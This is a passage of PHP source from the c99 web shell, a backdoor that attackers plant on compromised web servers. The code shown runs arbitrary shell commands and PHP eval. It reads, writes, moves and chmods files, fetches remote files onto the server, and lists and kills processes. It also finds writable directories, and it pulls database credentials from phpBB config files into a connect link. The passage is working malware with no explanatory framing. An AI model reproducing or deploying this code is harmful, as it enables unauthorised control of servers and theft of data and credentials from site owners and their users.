    $act = "ls";
  }
  elseif ($actarcbuff) {
    $arcerr = "";
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
    else {$ext = ".tar.gz";}
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
    $cmdline .= " ".$actarcbuff_path;
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
    foreach($objects as $v) {
      $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
      if (is_dir($v)) {
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
        $v .= "*";
      }
      $cmdline .= " ".$v;
    }
    $tmp = realpath(".");
    chdir($d);
    $ret = myshellexec($cmdline);
    chdir($tmp);
    if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
    $ret = str_replace("
","
",$ret);
    $ret = explode("
",$ret);
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
    foreach($sess_data["cut"] as $k=>$v) {
      if (in_array($v,$ret)) {fs_rmobj($v);}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
    $act = "ls";
  }
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    c99_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $act = "ls";
  }
}
if ($act == "cmd") {
  @chdir($chdir);
  if (!empty($submit)) {
    echo "<div class=barheader>.: Result of Command Execution :.</div>";
    $olddir = realpath(".");
    @chdir($d);
    $ret = myshellexec($cmd);
    $ret = convert_cyr_string($ret,"d","w");
    if ($cmd_txt) {
      $rows = count(explode("
",$ret))+1;
      if ($rows < 10) {$rows = 10; }
      if ($msie) { $cols = 113; }
      else { $cols = 117;}
      //echo "<textarea cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>";
      echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
    }
    else {echo $ret."<br>";}
    @chdir($olddir);
  }
  else {
    echo "<b>Command Execution</b>";
    if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  }
}
if ($act == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  else {
    $objects = array();
    $vd = "f"; //Viewing mode
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
        elseif (is_dir($v)) {
          if (is_link($v)) {$type = "LINK";}
          else {$type = "DIR";}
          $row[] = $v;
          $row[] = $type;
        }
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
        $row[] = filemtime($v);
        if (!$win) {
          $ow = posix_getpwuid(fileowner($v));
          $gr = posix_getgrgid(filegroup($v));
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
        }
        $row[] = fileperms($v);
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
        elseif (is_link($v)) {$objects["links"][] = $row;}
        elseif (is_dir($v)) {$objects["folders"][] = $row;}
        elseif (is_file($v)) {$objects["files"][] = $row;}
        $i++;
      }
      $row = array();
      $row[] = "<b>Name</b>";
      $row[] = "<b>Size</b>";
      $row[] = "<b>Date Modified</b>";
      if (!$win) {$row[] = "<b>Owner/Group</b>";}
      $row[] = "<b>Perms</b>";
      $row[] = "<b>Action</b>";
      $parsesort = parsesort($sort);
      $sort = $parsesort[0].$parsesort[1];
      $k = $parsesort[0];
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}
      $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
      $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
      $row[$k] .= $y;
      for($i=0;$i<count($row)-1;$i++) {
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
      }
      $v = $parsesort[0];
      usort($objects["folders"], "tabsort");
      usort($objects["links"], "tabsort");
      usort($objects["files"], "tabsort");
      if ($parsesort[1] == "d") {
        $objects["folders"] = array_reverse($objects["folders"]);
        $objects["files"] = array_reverse($objects["files"]);
      }
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
      $tab = array();
      $tab["cols"] = array($row);
      $tab["head"] = array();
      $tab["folders"] = array();
      $tab["links"] = array();
      $tab["files"] = array();
      $i = 0;
      foreach ($objects as $a) {
        $v = $a[0];
        $o = basename($v);
        $dir = dirname($v);
        if ($disp_fullpath) {$disppath = $v;}
        else {$disppath = $o;}
        $disppath = str2mini($disppath,60);
        if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
        elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
        foreach ($regxp_highlight as $r) {
          if (ereg($r[0],$o)) {
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
            else {
              $r[1] = round($r[1]);
              $isdir = is_dir($v);
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
                $disppath = $r[2].$disppath.$r[3];
                if ($r[4]) {break;}
              }
            }
          }
        }
        $uo = urlencode($o);
        $ud = urlencode($dir);
        $uv = urlencode($v);
        $row = array();
        if ($o == ".") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "CURDIR";
        }
        elseif ($o == "..") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "UPDIR";
        }
        elseif (is_dir($v)) {
          if (is_link($v)) {
            $disppath .= " => ".readlink($v);
            $type = "LINK";
            $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          else {
            $type = "DIR";
            $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          $row[] = $type;
        }
        elseif(is_file($v)) {
          $ext = explode(".",$o);
          $c = count($ext)-1;
          $ext = $ext[$c];
          $ext = strtolower($ext);
          $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
          $row[] = view_size($a[1]);
        }
        $row[] = date("d.m.Y H:i:s",$a[2]);
        if (!$win) {$row[] = $a[3];}
        $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
        else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
        elseif (is_link($v)) {$tab["links"][] = $row;}
        elseif (is_dir($v)) {$tab["folders"][] = $row;}
        elseif (is_file($v)) {$tab["files"][] = $row;}
        $i++;
      }
    }
    // Compiling table
    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
    echo "<div class=barheader>.: ";
    if (!empty($fx_infohead)) { echo $fx_infohead; }
    else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
    echo " :.</div>
";
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
         "<table class=explorer>";
    foreach($table as $row) {
      echo "<tr>";
      foreach($row as $v) {echo "<td>".$v."</td>";}
      echo "</tr>
";
    }
    echo "</table>".
         "<script>".
         "function ls_setcheckboxall(status) {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
         "}".
         "function ls_reverse_all() {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
         "}".
         "</script>".
         "<div align=\"right\">".
         "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
         "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    echo "<select name=act><option value=\"".$act."\">With selected:</option>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
    if ($usefsbuff) {
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
      echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
    }
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if ($act == "tools") //Define Yourself
{

}
if ($act == "phpfsys") {
  echo "<div align=left>";
  $fsfunc = $phpfsysfunc;
  if ($fsfunc=="copy") {
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
    else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
  }
  elseif ($fsfunc=="rename") {
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
  }
  elseif ($fsfunc=="chmod") {
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
  }
  elseif ($fsfunc=="read") {
    $hasil = @file_get_contents($arg1);
    echo "<b>Filename:</b> $arg1<br>";
    echo "<textarea cols=150 rows=20>";
    echo $hasil;
    echo "</textarea>
";
  }
  elseif ($fsfunc=="write") {
    if(@file_put_contents($d.$arg1,$arg2)) {
      echo "<b>Saved!</b> ".$d.$arg1;
    }
    else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
  }
  elseif ($fsfunc=="downloadbin") {
    $handle = fopen($arg1, "rb");
    $contents = '';
    while (!feof($handle)) {
      $contents .= fread($handle, 8192);
    }
    $r = @fopen($d.$arg2,'w');
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
    else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
    fclose($r);
    fclose($handle);
  }
  elseif ($fsfunc=="download") {
    $text = implode('', file($arg1));
    if ($text) {
      $r = @fopen($d.$arg2,'w');
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
      else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
      fclose($r);
    }
    else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
  }
  elseif ($fsfunc=='mkdir') {
    $thedir = $d.$arg1;
    if ($thedir != $d) {
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
    }
    else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  }
  elseif ($fsfunc=='fwritabledir') {
    function recurse_dir($dir,$max_dir) {
      global $dir_count;
      $dir_count++;
      if( $cdir = @dir($dir) ) {
        while( $entry = $cdir-> read() ) {
          if( $entry != '.' && $entry != '..' ) {
            if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
             if ($dir_count > $max_dir) { return; }
              echo "[".$dir_count."] ".$dir.$entry."
";
              recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
            }
          }
        }
        $cdir->close();
      }
    }
    if (!$arg1) { $arg1 = $d; }
    if (!$arg2) { $arg2 = 10; }
    echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
    echo "<pre>";
    recurse_dir($arg1,$arg2);
    echo "</pre>";
    $total = $dir_count - 1;
    echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  }
  else {
    if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
    else {
      if ($hasil = $fsfunc($arg1)) {
        echo "<b>Result of $fsfunc $arg1:</b><br>";
        if (!is_array($hasil)) { echo "$hasil
"; }
        else {
          echo "<pre>";
          foreach ($hasil as $v) { echo $v."
"; }
          echo "</pre>";
        }
      }
      else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
    }
  }
  echo "</div>
";
}
if ($act == "processes") {
  echo "<div class=barheader>.: Processes :.</div>";
  if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  else { $handler = "tasklist"; }
  $ret = myshellexec($handler);
  if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  else {
    if (empty($processes_sort)) {$processes_sort = $sort_default;}
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
    }
    else {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$win) {
      if ($pid) {
        if (is_null($sig)) {$sig = 9;}
        echo "Sending signal ".$sig." to #".$pid."... ";
        if (posix_kill($pid,$sig)) {echo "OK.";}
        else {echo "ERROR.";}
      }
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      $stack = explode("
",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
      }
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          echo "<tr>";
          $line = explode(" ",$line);
          $line[10] = join(" ",array_slice($line,10));
          $line = array_slice($line,0,11);
          if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
          $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
          $prcs[] = $line;
          echo "</tr>";
        }
      }
    }
    
    else {
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
      $ret = convert_cyr_string($ret,"d","w");
      $stack = explode("
",$ret);
      unset($stack[0],$stack[2]);
      $stack = array_values($stack);
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
      $head = explode(" ",$stack[0]);
      $stack = array_slice($stack,1);
      $head = array_values($head);
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
      else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
      if ($k > count($head)) {$k = count($head)-1;}
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
      }
      $prcs = array();
      unset($stack[0]);
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<b>".$head[$k]."</b>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table class=explorer>";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
        echo "<td>".$v."</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  }
}
if ($act == "eval") {
  if (!empty($eval)) {
    echo "Result of execution this PHP-code:<br>";
    $tmp = ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp) {
      ob_clean();
      eval($eval);
      $ret = ob_get_contents();
      $ret = convert_cyr_string($ret,"d","w");
      ob_clean();
      echo $tmp;
      if ($eval_txt) {
        $rows = count(explode("
",$ret))+1;
        if ($rows < 10) {$rows = 10;}
        echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
      }
      else {echo $ret."<br>";}
    }
    else {
      if ($eval_txt) {
        echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
        eval($eval);
        echo "</textarea>";
      }
      else {echo $ret;}
    }
    @chdir($olddir);
  }
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f") {
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  }
  else {
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
        array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
        array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
        array("Code","code"),
        array("Session","phpsess"),
        array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
        array("SDB","sdb"),
        array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
        array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
        array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
        array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
        array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
    );
    echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
      else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
      echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
      if (!$win) {
        echo "<tr><td><b>Owner/Group</b></td><td> ";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
      }
      echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
      $fi = fopen($d.$f,"rb");
      if ($fi) {
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
        $n = 0;
        $a0 = "00000000<br>";
        $a1 = "";
        $a2 = "";
        for ($i=0; $i<strlen($str); $i++) {
          $a1 .= sprintf("%02X",ord($str[$i]))." ";
          switch (ord($str[$i])) {
            case 0:  $a2 .= "<font>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2 .= "&nbsp;"; break;
            default: $a2 .= htmlspecialchars($str[$i]);
          }
          $n++;
          if ($n == $hexdump_rows) {
            $n = 0;
            if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
            $a1 .= "<br>";
            $a2 .= "<br>";
          }
        }
        echo "<table border=1 bgcolor=#666666>".
             "<tr><td bgcolor=#666666>".$a0."</td>".
             "<td bgcolor=#000000>".$a1."</td>".
             "<td bgcolor=#000000>".$a2."</td>".
             "</tr></table><br>";
      }
      $encoded = "";
      if ($base64 == 1) {
        echo "<b>Base64 Encode</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
      }
      elseif($base64 == 2) {
        echo "<b>Base64 Encode + Chunk</b><br>";
        $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
      }
      elseif($base64 == 3) {
        echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
        $encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2);
      }
      elseif($base64 == 4) {
        $text = file_get_contents($d.$f);
        $encoded = base64_decode($text);
        echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
        <P>";
  }
  elseif ($ft == "html") {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {c99shexit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  elseif ($ft == "phpsess") {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe") {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code") {
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
      $arr = explode("
",$r);
      if (count($arr == 18)) {
        include($d.$f);
        echo "<b>phpBB configuration is detected in this file!<br>";
        if ($dbms == "mysql4") {$dbms = "mysql";}
        if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
